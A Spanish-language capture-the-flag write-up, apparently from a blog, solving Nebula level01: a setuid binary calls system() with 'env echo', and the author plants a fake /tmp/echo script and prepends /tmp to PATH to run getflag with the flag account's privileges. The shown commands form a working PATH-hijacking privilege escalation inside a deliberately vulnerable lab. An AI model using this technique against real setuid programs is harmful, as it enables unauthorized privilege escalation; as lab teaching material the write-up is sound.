Vamos a por el siguiente reto:
level01@nebula:~$ cd /home/flag01
level01@nebula:/home/flag01$ ls -al
total 13
drwxr-x--- 2 flag01 level01 92 2011-11-20 21:22 .
drwxr-xr-x 1 root root 60 2012-08-27 07:18 ..
-rw-r--r-- 1 flag01 flag01 220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag01 flag01 3353 2011-05-18 02:54 .bashrc
-rwsr-x--- 1 flag01 level01 7322 2011-11-20 21:22 flag01
-rw-r--r-- 1 flag01 flag01 675 2011-05-18 02:54 .profile
level01@nebula:/home/flag01$ file flag01
flag01: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, not stripped
level01@nebula:/home/flag01$ ./flag01
and now what?
¿Un binario setuid que imprime una frase por pantalla? Lo ejecutamos mediante
ltrace
para ver como se comporta:
level01@nebula:/home/flag01$ ltrace flag01
Can't execute `flag01': No such file or directory
PTRACE_SETOPTIONS: No such process
level01@nebula:/home/flag01$ ltrace ./flag01
__libc_start_main(0x80484a4, 1, 0xbfd60a64, 0x8048510, 0x8048580 <unfinished ...>
getegid() = 1002
geteuid() = 1002
setresgid(1002, 1002, 1002, 0x352324, 0x351ff4) = 0
setresuid(1002, 1002, 1002, 0x352324, 0x351ff4) = 0
system("/usr/bin/env echo and now what?"and now what?
<unfinished ...>
--- SIGCHLD (Child exited) ---
<... system resumed> ) = 0
+++ exited (status 0) +++
Facepalm! Las llamadas a
system()
en un binario setuid son extremadamente peligrosas, más aun cuando se utilizan rutas relativas como es el caso que nos ocupa. La shell buscará el binario echo siguiendo el orden establecido en la variable de entorno PATH
. Por supuesto nada nos impide modificarla, agregar un nuevo directorio de nuestra elección y crear un nuevo ejecutable que suplante al original. Crearemos un shell script con nombre echo
en el directorio /tmp
:
#!/bin/sh
/bin/getflag
Le asignamos permisos de ejecución y modificamos la variable de entorno
PATH
:
level01@nebula:/home/flag01$ chmod +x /tmp/echo
level01@nebula:/home/flag01$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games
level01@nebula:/home/flag01$ export PATH=/tmp:$PATH
level01@nebula:/home/flag01$ echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games
El resultado:
level01@nebula:/home/flag01$ ./flag01
You have successfully executed getflag on a target account
Pwned!
No hay comentarios:
Publicar un comentario